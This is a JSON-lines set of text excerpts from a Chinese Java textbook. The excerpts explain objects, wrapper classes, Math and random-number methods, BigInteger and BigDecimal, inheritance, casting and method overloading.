    {"text": "图7.13 创建对象运行结果 在上述实例的主方法中使用new操作符创建对象，创建对象的同时，将自动调用构造方法中的代码。 7.6.2 访问对象的属性和行为 用户使用new操作符创建一个对象后，可以使用“对象.类成员”来获取对象的属性和行为。 前文已经提到过，对象的属性和行为在类中是通过类成员变量和成员方法的形式来表示的，所以当对象获取类成员时，也相应地获取了对象的属性和行为。"},
    {"text": "但是在运行结果中可以看到，虽然使用两个对象调用同一个成员变量，结果却不相同，因为在打印这个成员变量的值之前将该值重新赋值为60，但在赋值时使用的是第二个对象t2调用成员变量，所以在第一个对象t1调用成员变量打印该值时仍然是成员变量的初始值。"},
    {"text": "图7.15 内存中t1、t2两个对象的布局 如果希望成员变量不被其中任何一个对象改变，可以使用static关键字（前文曾经介绍过一个被声明为static的成员变量的值可以被本类或其他类的对象共享）将上述代码改写为例7.13的形式。"},
    {"text": "图7.16 对象调用静态成员变量运行结果 从上述运行结果中可以看到，由于使用t2.i=60语句改变了静态成员变量的值，使用对象t1调用成员变量的值也为60，这正是i值被定义为静态成员变量的效果，即使使用两个对象对同一个静态成员变量进行操作，依然可以改变静态成员变量的值，因为在内存中两个对象同时指向同一块内存区域。"},
    {"text": "语法如下： 类名 对象引用名称 如一个Book类的引用可以使用以下代码： Book book; 通常一个引用不一定需要有一个对象相关联。 引用与对象相关联的语法如下： Book book=new Book(); Book：类名。"},
    {"text": "注意 引用只是存放一个对象的内存地址，并非存放一个对象。 严格地说，引用和对象是不同的，但是可以将这种区别忽略，如可以简单地说book是Book类的一个对象，而事实上应该是book包含Book对象的一个引用。"},
    {"text": "从上述运行结果中可以看出，“==”运算符和equals()方法比较的内容是不相同的，equals()方法是String类中的方法，它用于比较两个对象引用所指的内容是否相等； 而“==”运算符比较的是两个对象引用的地址是否相等。 由于c1与c2是两个不同的对象引用，两者在内存中的位置不同，而“String c3=c1;”语句将c1的引用赋给c3，所以c1与c3这两个对象引用是相等的，也就是打印c1==c3这样的语句将返回true值。"},
    {"text": "图7.17 比较两个对象引用的运行结果 图7.18 对象c1、c2和c3在内存中的布局 7.6.5 对象的销毁 每个对象都有生命周期，当对象的生命周期结束时，分配给该对象的内存地址需要被回收。"},
    {"text": "图7.19 对象超过作用范围将消亡 图7.20 对象被置为null值时将消亡 虽然垃圾回收机制已经很完善，但垃圾回收器只能回收那些由new操作符创建的对象。 某些对象不是通过new操作符在内存中获取存储空间的，这种对象无法被垃圾回收机制所识别。"},
    {"text": "在Java中提供了一个finalize()方法，这个方法是Object类的方法，它被声明为protected，用户可以在自己的类中定义这个方法。 如果用户在类中定义了finalize()方法，在垃圾回收时会首先调用该方法，在下一次垃圾回收动作发生时，才真正回收被对象占用的内存。"},
    {"text": "7.8 实践与练习 1. 尝试编写一个类，定义一个修饰权限为private的成员变量，并定义两个成员方法，一个成员方法实现为此成员变量赋值，另一个成员方法获取这个成员变量的值，保证其他类继承该类时能获取该类的成员变量的值。"},
    {"text": "（答案位置：\\TM\\sl\\7.06） 2. 尝试编写一个矩形类，将长与宽作为矩形类的属性，在构造方法中将长、宽初始化，定义一个成员方法求此矩形的面积。"},
    {"text": "（答案位置：\\TM\\sl\\7.08） 第8章 包装类 Java是一种面向对象语言，Java中的类把方法与数据连接在一起，构成了自包含式的处理单元。 在Java中不能定义基本类型（Primitive Type）对象，为了能将基本类型视为对象进行处理，并能连接相关的方法，Java为每个基本类型都提供了包装类，如int型数值的包装类Integer，boolean型数值的包装类Boolean等，这样便可以把这些基本类型转换为对象来处理了。 需要说明的是，Java是可以直接处理基本类型的，但在有些情况下需要将其作为对象来处理，这时就需要将其转换为包装类。 本章将介绍Java中提供的各种包装类。"},
    {"text": "通过阅读本章，您可以： 掌握Integer对象的创建以及Integer类提供的各种方法 掌握Long对象的创建以及Long类提供的各种方法 掌握Short对象的创建以及Short类提供的各种方法 掌握Boolean对象的创建以及Boolean类提供的各种方法 掌握Byte对象的创建以及Byte类提供的各种方法 掌握Character对象的创建以及Character类提供的各种方法 掌握Double对象的创建以及Double类提供的各种方法 掌握Float对象的创建以及Float类提供的各种方法 了解所有数字类的父类Number"},
    {"text": "由于其包含的方法基本相同，所以本节以Integer类为例介绍整数包装类。 Integer类在对象中包装了一个基本类型int的值。 该类的对象包含一个int类型的字段。 此外，该类提供了多个方法，能在int类型和String类型之间互相转换，同时还提供了其他一些处理int类型时非常有用的常量和方法。 1. 构造方法 Integer类有以下两种构造方法。 Integer (int number) 该方法以一个int型变量为参数来获取Integer对象。 【例8.1】以int型变量为参数创建Integer对象，实例代码如下： Integer number = new Integer(7); Integer (String str) 该方法以一个String型变量为参数来获取Integer对象。 【例8.2】以String型变量为参数创建Integer对象，实例代码如下： Integer number = new Integer(\"45\"); 注意 要用数值型String变量作为参数，如123，否则将会抛出NumberFormatException异常。 2. 常用方法 Integer类的常用方法如表8.1所示。 表8.1 Integer类的常用方法 Integer类中的parseInt()方法返回与调用该方法的数值字符串相应的整型（int）值。"},
    {"text": "图8.1 例8.3的运行结果 Integer类的toString()方法，可将Integer对象转换为十进制字符串表示。 toBinaryString()、toHexString()和toOctalString()方法分别将值转换成二进制、十六进制和八进制字符串。"},
    {"text": "1. 构造方法 Boolean(boolean value) 该方法创建一个表示value参数的Boolean对象。 【例8.6】创建一个表示value参数的Boolean对象，实例代码如下： Boolean b = new Boolean(true); Boolean(String str) 该方法以String变量作为参数创建Boolean对象。 如果String参数不为null且在忽略大小写时等于true，则分配一个表示true值的Boolean对象，否则获得一个false值的Boolean对象。 【例8.7】以String变量作为参数，创建Boolean对象。 实例代码如下： Boolean bool = new Boolean(\"ok\"); 2. 常用方法 Boolean类的常用方法如表8.2所示。 表8.2 Boolean类的常用方法 【例8.8】在项目中创建类GetBoolean，在主方法中以不同的构造方法创建Boolean对象，并调用booleanValue()方法将创建的对象重新转换为boolean数据输出。"},
    {"text": "Byte(byte value) 通过这种方法创建的Byte对象，可表示指定的byte值。 【例8.9】以byte型变量作为参数，创建Byte对象。 实例代码如下： byte mybyte = 45; Byte b = new Byte(mybyte); Byte(String str) 通过这种方法创建的Byte对象，可表示String参数所指示的byte值。 【例8.10】以String型变量作为参数，创建Byte对象。 实例代码如下： Byte mybyte = new Byte(\"12\"); 注意 要用数值型String变量作为参数，如123，否则将会抛出NumberFormatException异常。"},
    {"text": "1. 构造方法 Character类的构造方法的语法如下： Character(char value) 该类的构造函数必须是一个char类型的数据。 通过该构造函数创建的Character类对象包含由char类型参数提供的值。"},
    {"text": "实例代码如下： Character mychar = new Character('s'); 2. 常用方法 Character类提供了很多方法来完成对字符的操作，常用的方法如表8.4所示。 表8.4 Character类的常用方法 下面通过实例来介绍Character对象的某些方法的使用。 【例8.12】在项目中创建类UpperOrLower，在主方法中创建Character类的对象，并判断字符的大小写状态。"},
    {"text": "CONNECTOR_PUNCTUATION：返回byte型值，表示Unicode规范中的常规类别“Pc”。 TITLECASE_LETTER：返回byte型值，表示Unicode规范中的常规类别“Lt”。 UNASSIGNED：返回byte型值，表示Unicode规范中的常规类别“Cn”。"},
    {"text": "8.5 Double Double和Float包装类是对double、float基本类型的封装，它们都是Number类的子类，又都是对小数进行操作，所以常用方法基本相同，本节将对Double类进行介绍。 对于Float类可以参考Double类的相关介绍。 Double类在对象中包装一个基本类型为double的值。 每个Double类的对象都包含一个double类型的字段。 此外，该类还提供多个方法，可以将double转换为String，也可以将String转换为double，也提供了其他一些处理double时有用的常量和方法。 1. 构造方法 Double类提供了以下两种构造方法来获得Double类对象。 Double(double value)：基于double参数创建Double类对象。 Double(String str)：构造一个新分配的Double对象，表示用字符串表示的double类型的浮点值。"},
    {"text": "8.6 Number 抽象类Number是BigDecimal、BigInteger、Byte、Double、Float、Integer、Long和Short类的父类，Number的子类必须提供将表示的数值转换为byte、double、float、int、long和short的方法。"},
    {"text": "（答案位置：\\TM\\sl\\8.06） 2. 创建两个Character对象，通过equals()方法比较它们是否相等； 之后将这两个对象分别转换成小写形式，再通过equals()方法比较这两个Character对象是否相等。"},
    {"text": "（答案位置：\\TM\\sl\\8.07） 3. 编写程序，实现通过字符型变量创建boolean值，再将其转换成字符串输出，观察输出后的字符串与创建Boolean对象时给定的参数是否相同。"},
    {"text": "（答案位置：\\TM\\sl\\8.08） 第9章 数字处理类 在解决实际问题时，如数学问题、随机问题、商业货币问题、科学计数问题等，对数字的处理是非常普遍的。"},
    {"text": "为了应对以上问题，Java提供了许多数字处理类，包括DecimalFormat类（用于格式化数字）、Math类（为各种数学计算提供了工具方法）、Random类（为处理随机数问题提供了各种方法）、BigInteger类与BigDecimal类（为所有大数字的处理提供了相应的数学运算操作方法）。"},
    {"text": "通过阅读本章，您可以： 能够对数字进行格式化 掌握Math类中的各种数学运算方法 能够生成任意范围内的随机数 掌握大整数与大小数的数学运算方式 9.1 数字格式化 数字格式化在解决实际问题时应用非常普遍，如表示某超市的商品价格，需要保留两位有效数字。"},
    {"text": "一般情况下可以在实例化DecimalFormat对象时传递数字格式，也可以通过DecimalFormat类中的applyPattern()方法来实现数字格式化。 当格式化数字时，在DecimalFormat类中使用一些特殊字符构成一个格式化模板，使数字按照一定的特殊字符规则进行匹配。"},
    {"text": "【例9.1】在项目中创建DecimalFormatSimpleDemo类，在类中分别定义SimgleFormat()方法和UseApplyPatternMethodFormat()方法实现两种格式化数字的方式。"},
    {"text": "图9.1 数字格式化 在本实例中可以看到，代码的第一行使用import关键字将java.text.DecimalFormat这个类包含进来，这是告知系统下面的代码将使用到DecimalFormat类。"},
    {"text": "然后定义了两个格式化数字的方法，这两个方法的参数都为两个，分别代表数字格式化模板和具体需要格式化的数字。 虽然这两个方法都可以实现数字的格式化，但采用的方式有所不同，SimgleFormat()方法是在实例化DecimalFormat对象时设置数字格式化模板，而UseApplyPatternMethodFormat()方法是在实例化DecimalFormat对象后调用applyPattern()方法设置数字格式化模板。 最后，在主方法中根据不同形式模板格式化数字。"},
    {"text": "图9.2 使用setGroupingSize()与setGroupingUsed()方法设置数字格式 9.2 数学运算 在Java语言中提供了一个执行数学基本运算的Math类，该类包括常用的数学运算方法，如三角函数方法、指数函数方法、对数函数方法、平方根函数方法等一些常用数学函数，除此之外还提供了一些常用的数学常量，如PI、E等。"},
    {"text": "9.2.1 Math类 在Math类中提供了众多数学函数方法，主要包括三角函数方法、指数函数方法、取整函数方法、取最大值、最小值以及平均值函数方法。"},
    {"text": "可以使用如下形式调用： Math.PI Math.E 9.2.2 常用数学运算方法 在Math类中的常用数学运算方法较多，大致可以将其分为4大类别，分别为三角函数方法、指数函数方法、取整函数方法以及取最大值、最小值和绝对值函数方法。 1. 三角函数方法 在Math类中包含的三角函数方法如下。"},
    {"text": "public static double sin(double a)：返回角的三角正弦。 public static double cos(double a)：返回角的三角余弦。 public static double tan(double a)：返回角的三角正切。 public static double asin(double a)：返回一个值的反正弦。 public static double acos(double a)：返回一个值的反余弦。 public static double atan(double a)：返回一个值的反正切。 public static double toRadians(double angdeg)：将角度转换为弧度。 public static double toDegrees(double angrad)：将弧度转换为角度。"},
    {"text": "除了可以获取角的正弦、余弦、正切、反正弦、反余弦、反正切之外，Math类还提供了角度和弧度相互转换的方法toRadians()和toDegrees()。"},
    {"text": "图9.3 在程序中使用三角函数方法 通过运行结果可以看出，90°的正弦值为1，0°的余弦值为1，60°的正切与Math.sqrt(3)的值应该是一致的，也就是取3的平方根。 在结果中可以看到第4~6行的值是基本相同的，这个值换算后正是45°，也就是获取的Math.sqrt(2)/2反正弦、反余弦值与1的反正切值都是45°。"},
    {"text": "最后两行打印语句实现的是角度和弧度的转换，其中Math.toRadians(120.0)语句是获取120°的弧度值，而Math.toDegrees(Math.PI/2)语句是获取π/2的角度。"},
    {"text": "public static double exp(double a)：用于获取e的a次方，即取eª。 public static double log(double a)：用于取自然对数，即取lna的值。 public static double log10(double a)：用于取底数为10的对数。 public static double sqrt(double a)：用于取a的平方根，其中a的值不能为负值。 public static double cbrt(double a)：用于取a的立方根。 public static double pow(double a,double b)：用于取a的b次方。"},
    {"text": "public static double ceil(double a)：返回大于等于参数的最小整数。 public static double floor(double a)：返回小于等于参数的最大整数。 public static double rint(double a)：返回与参数最接近的整数，如果两个同为整数且同样接近，则结果取偶数。 public static int round(float a)：将参数加上0.5后返回与参数最近的整数。 public static long round(double a)：将参数加上0.5后返回与参数最近的整数，然后强制转换为长整型。"},
    {"text": "图9.4 在程序中使用指数函数方法 图9.5 取整函数的返回值 注意 由于数1.0和数2.0距离数1.5都是0.5个单位长度，因此返回偶数2.0。"},
    {"text": "下面举例说明Math类中取整方法的使用。 【例9.5】在项目中创建IntFunction类，在类的主方法中调用Math类中的方法实现取整函数的运算，并输出运算结果。"},
    {"text": "图9.6 在程序中使用取整函数方法 4. 取最大值、最小值、绝对值函数方法 在程序中最常用的方法就是取最大值、最小值、绝对值等，在Math类中包括的这些操作方法如下。"},
    {"text": "public static double max(double a,double b)：取a与b之间的最大值。 public static int min(int a,int b)：取a与b之间的最小值，参数为整型。 public static long min(long a,long b)：取a与b之间的最小值，参数为长整型。 public static float min(float a,float b)：取a与b之间的最小值，参数为浮点型。 public static double min(double a,double b)：取a与b之间的最小值，参数为双精度型。"},
    {"text": "public static int abs(int a)：返回整型参数的绝对值。 public static long abs(long a)：返回长整型参数的绝对值。 public static float abs(float a)：返回浮点型参数的绝对值。 public static double abs(double a)：返回双精度型参数的绝对值。"},
    {"text": "图9.7 在程序中使用Math类取最大值、最小值、绝对值的方法 9.3 随机数 在实际开发中，随机数的使用是很普遍的，所以要掌握生成随机数的操作。 在Java中主要提供了两种生成随机数的方式，分别为调用Math类的random()方法生成随机数和调用Random类生成各种数据类型的随机数。 9.3.1 Math.random()方法 在Math类中存在一个random()方法，用于产生随机数字。 这个方法默认生成大于等于0.0且小于1.0的double型随机数，即0<=Math.random()<1.0。 虽然Math.random()方法只可以产生0~1之间的double型数字，但只要在Math.random()语句上稍加处理，就可以使用这个方法产生任意范围的随机数，如图9.8所示。 图9.8 使用random()方法示意图 为了更好地解释这种产生随机数的方式，下面举例说明。 【例9.7】在项目中创建MathRondom类，在类中编写GetEvenNum()方法产生两数之间的随机数，并在主方法中输出这个随机数。"},
    {"text": "因为m+(int)(Math.random()*n)语句可以获取m~m+n之间的随机数，所以“2+(int)(Math.random()*(32-2));”这个表达式就可以求出2~32之间的随机数。 当获取到这个区间的随机数以后需要判断这个数字是否为偶数时，对该数字做对2取余操作即可。"},
    {"text": "使用Math类的random()方法也可以随机生成字符，可以使用如下代码生成a~z之间的字符。 (char)('a'+Math.random()*('z'-'a'+1)); 通过上述表达式可以求出更多的随机字符，如A~Z之间的随机字符。 进而推理出，若想生成任意两个字符之间的随机字符，可以使用以下语句实现： (char)(cha1+Math.random()*(cha2-cha1+1)); 在这里，可以将这个表达式设计为一个方法，参数设置为随机产生字符的上限与下限。"},
    {"text": "图9.9 随机产生2~32之间的偶数 图9.10 获取任意区间的随机字符 注意 random()方法返回的值实际上是伪随机数，它通过复杂的运算而得到一系列的数。"},
    {"text": "9.3.2 Random类 除了Math类中的random()方法可以获取随机数之外，Java中还提供了一种可以获取随机数的方式，那就是java.util.Random类。"},
    {"text": "public int nextInt()：返回一个随机整数。 public int nextInt(int n)：返回大于等于0且小于n的随机整数。 public long nextLong()：返回一个随机长整型值。 public boolean nextBoolean()：返回一个随机布尔型值。 public float nextFloat()：返回一个随机浮点型值。 public double nextDouble()：返回一个随机双精度型值。 public double nextGaussian()：返回一个概率密度为高斯分布的双精度值。"},
    {"text": "图9.11 使用Random类中的方法产生随机数 9.4 大数字运算 在Java中提供了大数字的操作类，即java.math.BigInteger类与java.math.BigDecimal类。"},
    {"text": "这两个类用于高精度计算，其中BigInteger类是针对大整数的处理类，而BigDecimal类则是针对大小数的处理类。 9.4.1 BigInteger BigInteger类型的数字范围较Integer类型的数字范围要大得多。 前文介绍过Integer是int的包装类，int的最大值为2 31 -1，如果要计算更大的数字，使用Integer数据类型就无法实现了，所以Java中提供了BigInteger类来处理更大的数字。 BigInteger支持任意精度的整数，也就是说，在运算中BigInteger类型可以准确地表示任何大小的整数值而不会丢失信息。 在BigInteger类中封装了多种操作，除了基本的加、减、乘、除操作之外，还提供了绝对值、相反数、最大公约数以及判断是否为质数等操作。 使用BigInteger类，可以实例化一个BigInteger对象，并自动调用相应的构造函数。 BigInteger类具有很多构造函数，但最直接的一种方式是参数以字符串形式代表要处理的数字。 语法如下： public BigInteger(String val) 其中，val是十进制字符串。 如果将2转换为BigInteger类型，可以使用以下语句进行初始化操作： BigInteger twoInstance=new BigInteger(\"2\"); //将十进制2转换为BigInteger形式 注意 参数2的双引号不能省略，因为参数是以字符串的形式存在的。 一旦创建了对象实例，就可以调用BigInteger类中的一些方法进行运算操作，包括基本的数学运算和位运算以及一些取相反数、取绝对值等操作。 下面列举了BigInteger类中常用的几种运算方法。 public BigInteger add(BigInteger val)：做加法运算。 public BigInteger subtract(BigInteger val)：做减法运算。 public BigInteger multiply(BigInteger val)：做乘法运算。 public BigInteger divide(BigInteger val)：做除法运算。 public BigInteger remainder(BigInteger val)：做取余操作。 public BigInteger[] divideAndRemainder(BigInteger val)：用数组返回余数和商，结果数组中第一个值为商，第二个值为余数。 public BigInteger pow(int exponent)：进行取参数的exponent次方操作。 public BigInteger negate()：取相反数。 public BigInteger shiftLeft(int n)：将数字左移n位，如果n为负数，做右移操作。 public BigInteger shiftRight(int n)：将数字右移n位，如果n为负数，做左移操作。 public BigInteger and(BigInteger val)：做与操作。 public BigInteger or(BigInteger val)：做或操作。 public int compareTo(BigInteger val)：做数字比较操作。 public boolean equals(Object x)：当参数x是BigInteger类型的数字并且数值相等时，返回true。 public BigInteger min(BigInteger val)：返回较小的数值。 public BigInteger max(BigInteger val)：返回较大的数值。"},
    {"text": "【例9.10】在项目中创建BigIntegerDemo类，在类的主方法中创建BigInteger类的实例对象，调用该对象的各种方法实现大整数的加、减、乘、除和其他运算，并输出运算结果。"},
    {"text": "图9.12 操作大数字 在本实例中需要注意的是divideAndRemainder()方法，这个方法做除法操作，以数组的形式返回，数组中第一个值为做除法的商，第二个值为做除法的余数。"},
    {"text": "9.4.2 BigDecimal BigDecimal和BigInteger都能实现大数字的运算，不同的是BigDecimal加入了小数的概念。 一般的float型和double型数据只可以用来做科学计算或工程计算，但由于在商业计算中要求数字精度比较高，所以要用到java.math.BigDecimal类。 BigDecimal类支持任何精度的定点数，可以用它来精确计算货币值。"},
    {"text": "public BigDecimal(double val)：实例化时将双精度型转换为BigDecimal类型。 public BigDecimal(String val)：实例化时将字符串形式转换为BigDecimal类型。"},
    {"text": "public BigDecimal add(BigDecimal augend)：做加法操作。 public BigDecimal subtract(BigDecimal subtrahend)：做减法操作。 public BigDecimal multiply(BigDecimal multiplicand)：做乘法操作。 public BigDecimal divide(BigDecimal divisor,int scale,int roundingMode)：做除法操作，方法中3个参数分别代表除数、商的小数点后的位数、近似处理模式。 在上述方法中，BigDecimal类中divide()方法有多种设置，用于返回商末位小数点的处理，这些模式的名称与含义如表9.2所示。 表9.2 BigDecimal类中divide()方法的多种处理模式 下面设计一个类，这个类包括任意两个Decimal类型数字的加、减、乘、除运算方法。 【例9.11】在项目中创建BigDecimalDemo类，在类中分别定义add()、sub()、mul()和div()方法实现加、减、乘、除运算，并输出运算结果。"},
    {"text": "（答案位置：\\TM\\sl\\9.13） 3. 尝试改写BigDecimalDemo类中的div(double value1,double value2,int b)方法，以不同近似处理模式处理商的精度。"},
    {"text": "（答案位置：\\TM\\sl\\9.14） 第2篇 核心技术 本篇将介绍接口、继承与多态，类的高级特性，异常处理，Swing程序设计，集合类，I/O（输入／输出），反射，枚举类型与泛型，多线程，网络通信和数据库操作等内容。"},
    {"text": "继承和多态使用得当，整个程序的架构将变得非常有弹性，同时可以减少代码的冗余性。 继承机制下，用户可以复用一些定义好的类，减少重复代码的编写。"},
    {"text": "为了优化继承与多态，一些类除了可继承父类外，还需要使用接口的形式。 Java中的类可以同时实现多个接口，接口被用来建立类与类之间关联的标准。"},
    {"text": "通过阅读本章，您可以： 掌握类的继承 掌握Object类中的几个重要方法 掌握对象类型的转换 熟练使用instanceof操作符判断对象类型 掌握方法的重载 掌握多态技术 熟练使用抽象类与接口 10.1 类的继承 继承在面向对象开发思想中是一个非常重要的概念，它使整个程序架构具有一定的弹性。"},
    {"text": "例如，平行四边形是特殊的四边形，可以说平行四边形类继承了四边形类。 这时，平行四边形类将所有四边形具有的属性和方法都保留下来，并基于四边形类扩展了一些新的平行四边形类特有的属性和方法。"},
    {"text": "创建一个新类Test，同时创建另一个新类Test2继承Test类，其中包括重写的父类成员方法（重写的概念将在下文中进行详细介绍）以及新增的成员方法等。"},
    {"text": "图10.1 Test与Test2类之间的继承关系 在Java中使用extends关键字来标识两个类的继承关系，下面将图10.1中的继承关系以代码的形式给出，如实例10.1所示。"},
    {"text": "【例10.1】在项目中分别创建Test类和Test2类，在Test类中编写成员方法doSomething()和doIt()，使Test2类继承Test类，重写父类的这两个方法和构造方法，并新增doSomethingnew()方法。"},
    {"text": "在子类中可以连同初始化父类构造方法来完成子类初始化操作，既可以在子类的构造方法中使用super()语句调用父类的构造方法，也可以在子类中使用super关键字调用父类的成员方法等。"},
    {"text": "重写（还可以称为覆盖）就是在子类中将父类的成员方法的名称保留，重写成员方法的实现内容，更改成员方法的存储权限，或是修改成员方法的返回值类型（重写父类成员方法的返回值类型是基于J2SE 5.0版本以上编译器提供的新功能）。"},
    {"text": "在继承中还有一种特殊的重写方式，子类与父类的成员方法返回值、方法名称、参数类型及个数完全相同，唯一不同的是方法实现内容，这种特殊重写方式被称为重构。"},
    {"text": "注意 当重写父类方法时，修改方法的修饰权限只能从小的范围到大的范围改变，例如，父类中的doSomething()方法的修饰权限为protected，继承后子类中的方法doSomething()的修饰权限只能修改为public，不能修改为private。"},
    {"text": "图10.2 重写时不能降低方法的修饰权限范围 子类重写父类的方法还可以修改方法的返回值类型，但这只是在J2SE 5.0以上的版本中支持的新功能。 例如，例10.1子类中的doIt()方法就使用了这个新功能，父类中doIt()方法的返回值类型为Test，而子类中doIt()方法的返回值类型为Test2，子类中重写了父类的doIt()方法。 这种重写方式需要遵循一个原则，即重写的返回值类型必须是父类中同一方法返回值类型的子类，而Test2类正是Test类的子类。"},
    {"text": "当实例化子类对象时，父类对象也相应被实例化，换句话说，在实例化子类对象时，Java编译器会在子类的构造方法中自动调用父类的无参构造方法。"},
    {"text": "这3个类的继承关系是Subroutine类继承SubParent类，而SubParent类继承Parent类。 分别在这3个类的构造方法中输出构造方法名称，然后创建Subroutine类的实例对象，继承机制将使该类的父类对象自动初始化。"},
    {"text": "图10.3 实例化子类对象自动调用父类构造方法 从本实例的运行结果可以看出，在子类Subroutine的主方法中只调用子类的构造方法实例化子类对象，并且在子类构造方法中没有调用父类构造方法的任何语句，但是在实例化子类对象时它相应调用了父类的构造方法。"},
    {"text": "在结果中可以看到调用构造方法的顺序，首先是顶级父类，然后是上一级父类，最后是子类。 也就是说，实例化子类对象时首先要实例化父类对象，然后再实例化子类对象，所以在子类构造方法访问父类的构造方法之前，父类已经完成实例化操作。 说明 在实例化子类对象时，父类无参构造方法将被自动调用。 有参构造方法不能被自动调用，用户只能使用super关键字显式地调用父类的构造方法。"},
    {"text": "技巧 如果使用finalize()方法对对象进行清理，需要确保子类finalize()方法的最后一个动作是调用父类的finalize()方法，以保证当垃圾回收对象占用内存时，对象的所有部分都能被正常终止。"},
    {"text": "10.2 Object类 在开始学习使用class关键字定义类时，就应用到了继承原理，因为在Java中所有的类都直接或间接继承了java.lang.Object类。 Object类是比较特殊的类，它是所有类的父类，是Java类层中的最高层类。 用户创建一个类时，除非已经指定要从其他类继承，否则它就是从java.lang.Object类继承而来的。 Java中的每个类都源于java.lang.Object类，如String、Integer等类都是继承于Object类； 除此之外，自定义的类也都继承于Object类。 由于所有类都是Object子类，所以在定义类时可省略extends Object关键字，如图10.4所示。 图10.4 定义类时可以省略extends Object关键字 在Object类中主要包括clone()、finalize()、equals()、toString()等方法，其中常用的两个方法为equals()和toString()方法。 由于所有的类都是Object类的子类，所以任何类都可以重写Object类中的方法。 注意 Object类中的getClass()、notify()、notifyAll()、wait()等方法不能被重写，因为这些方法被定义为final类型。 下面详细讲述Object类中的几个重要方法。 1. getClass()方法 getClass()方法是Object类定义的方法，它会返回对象执行时的Class实例，然后使用此实例调用getName()方法可以取得类的名称。 语法如下： getClass().getname(); 可以将getClass()方法与toString()方法联合使用。 2. toString()方法 toString()方法的功能是将一个对象返回为字符串形式，它会返回一个String实例。 在实际的应用中通常重写toString()方法，为对象提供一个特定的输出模式。 当这个类转换为字符串或与字符串连接时，将自动调用重写的toString()方法。 【例10.3】在项目中创建ObjectInstance类，在类中重写Object类的toString()方法，并在主方法中输出该类的实例对象。"},
    {"text": "图10.5 在ObjectInstance类中重写toString()方法 在本实例中重写了父类Object的toString()方法，在子类的toString()方法中使用Object类中的getClass()方法获取当前运行的类名，定义一段输出字符串，当用户打印ObjectInstance类对象时，将自动调用toString()方法。"},
    {"text": "当时是比较“==”运算符与equals()方法，两者的区别在于：“==”比较的是两个对象的引用是否相等，而equals()方法比较的是两个对象的实际内容。"},
    {"text": "图10.6 使用equals()方法比较两个对象 从本实例的结果中可以看出，在自定义的类中使用equals()方法进行比较时，将返回false，因为equals()方法的默认实现是使用“==”运算符比较两个对象的引用地址，而不是比较对象的内容，所以要想真正做到比较两个对象的内容，需要在自定义类中重写equals()方法。"},
    {"text": "10.3.1 向上转型 因为平行四边形是特殊的四边形，也就是说平行四边形是四边形的一种，那么就可以将平行四边形对象看作是一个四边形对象。"},
    {"text": "【例10.5】在项目中创建Parallelogram类，再创建Quadrangle类，并使Parallelogram类继承Quadrangle类，然后在主方法中调用父类的draw()方法。 （实例位置：\\TM\\sl\\10.05） 在例10.5中，平行四边形类继承了四边形类，四边形类存在一个draw()方法，它的参数是Quadrangle（四边形类）类型，而在平行四边形类的主方法中调用draw()时给予的参数类型却是Parallelogram（平行四边形类）类型的。 这里一直在强调一个问题，就是平行四边形也是一种类型的四边形，所以可以将平行四边形类的对象看作是一个四边形类的对象，这就相当于“Quadrangle obj = new Parallelogram();”，就是把子类对象赋值给父类类型的变量，这种技术被称为“向上转型”。 试想一下正方形类对象可以作为draw()方法的参数，梯形类对象同样也可以作为draw()方法的参数，如果在四边形类的draw()方法中根据不同的图形对象设置不同的处理，就可以做到在父类中定义一个方法完成各个子类的功能，这样可以使同一份代码毫无差别地运用到不同类型之上，这就是多态机制的基本思想（在10.6节中将对多态进行详细介绍）。"},
    {"text": "图10.7中演示了平行四边形类继承四边形类的关系。 图10.7 平行四边形类与四边形类的关系 从图10.7中可以看出，平行四边形类继承了四边形类。"},
    {"text": "【例10.6】修改例10.5，在Parallelogram类的主方法中将父类Quadrangle的对象赋值给子类Parallelogram的对象时，引用变量将使程序产生错误。"},
    {"text": "图10.8 四边形与具体的四边形的关系 在程序中使用向下转型技术时，必须使用显式类型转换，向编译器指明要将父类对象转换为哪一种类型的子类对象。"},
    {"text": "10.4 使用instanceof操作符判断对象类型 当在程序中执行向下转型操作时，如果父类对象不是子类对象的实例，就会发生ClassCastException异常，所以在执行向下转型之前需要养成一个良好的习惯，就是判断父类对象是否为子类对象的实例。"},
    {"text": "这个判断通常使用instanceof操作符来完成。 可以使用instanceof操作符判断是否一个类实现了某个接口（接口会在10.6节中进行介绍），也可以用它来判断一个实例对象是否属于一个类。 instanceof的语法格式如下： myobject instanceof ExampleClass myobject：某类的对象引用。 ExampleClass：某个类。"},
    {"text": "【例10.7】在项目中创建Parallelogram类和3个内部类Quadrangle、Square、Anything。 其中Parallelogram类和Square类继承Quadrangle类，在Parallelogram类的主方法中分别创建这些类的对象，然后使用instanceof操作符判断它们的类型并输出结果。"},
    {"text": "在主方法中首先创建四边形类对象，然后使用instanceof操作符判断四边形类对象是否为平行四边形类的一个实例，是否为正方形类的一个实例，如果判断结果为true，将进行向下转型操作。"},
    {"text": "如果希望以不同的方式来实例化对象，就需要使用多个构造方法来完成。 由于这些构造方法都需要根据类名进行命名，为了让方法名相同而形参不同的构造方法同时存在，必须用到方法重载。 虽然方法重载起源于构造方法，但它也可以应用到其他方法中。 本节将讲述方法的重载。 方法的重载就是在同一个类中允许存在一个以上的同名方法，只要这些方法的参数个数或类型不同即可。"},
    {"text": "图10.9 方法的重载 在本实例中分别定义了5个方法，在这5个方法中，前两个方法的参数类型不同，并且方法的返回值类型也不同，所以这两个方法构成重载关系；"},
    {"text": "前两个方法与第3个方法相比，第3个方法的参数个数少于前两个方法，所以这3个方法也构成了重载关系； 最后两个方法相比，发现除了参数的出现顺序不同之外，其他都相同，同样构成了重载关系。"},
    {"text": "图10.10 构成方法重载的条件 注意 虽然在方法重载中可以使两个方法的返回类型不同，但只有返回类型不同并不足以区分两个方法的重载，还需要通过参数的个数以及参数的类型来设置。 根据图10.10所示的构成方法重载的条件，可以总结出编译器是利用方法名、方法各参数类型和参数的个数以及参数的顺序来确定类中的方法是否唯一。"},
    {"text": "上述方法又是一个add()重载方法，它与例10.8中方法的不同之处在于该方法为不定长参数方法。 不定长方法的语法如下： 返回值 方法名(参数数据类型…参数名称) 在参数列表中使用“…”形式定义不定长参数，其实这个不定长参数a就是一个数组，编译器会将(int…a)这种形式看作是(int[]a)，所以在add()方法体做累加操作时使用到了for循环语句，在循环中是根据数组a的长度作为循环条件的，最后将累加结果返回。"},
    {"text": "图10.11 调用不定长参数方法 从例10.10中可以看出，定义不定长参数依然可以作为add()方法的重载方法，由于它的参数是不定长的，所以满足根据参数个数区分重载的条件。"},
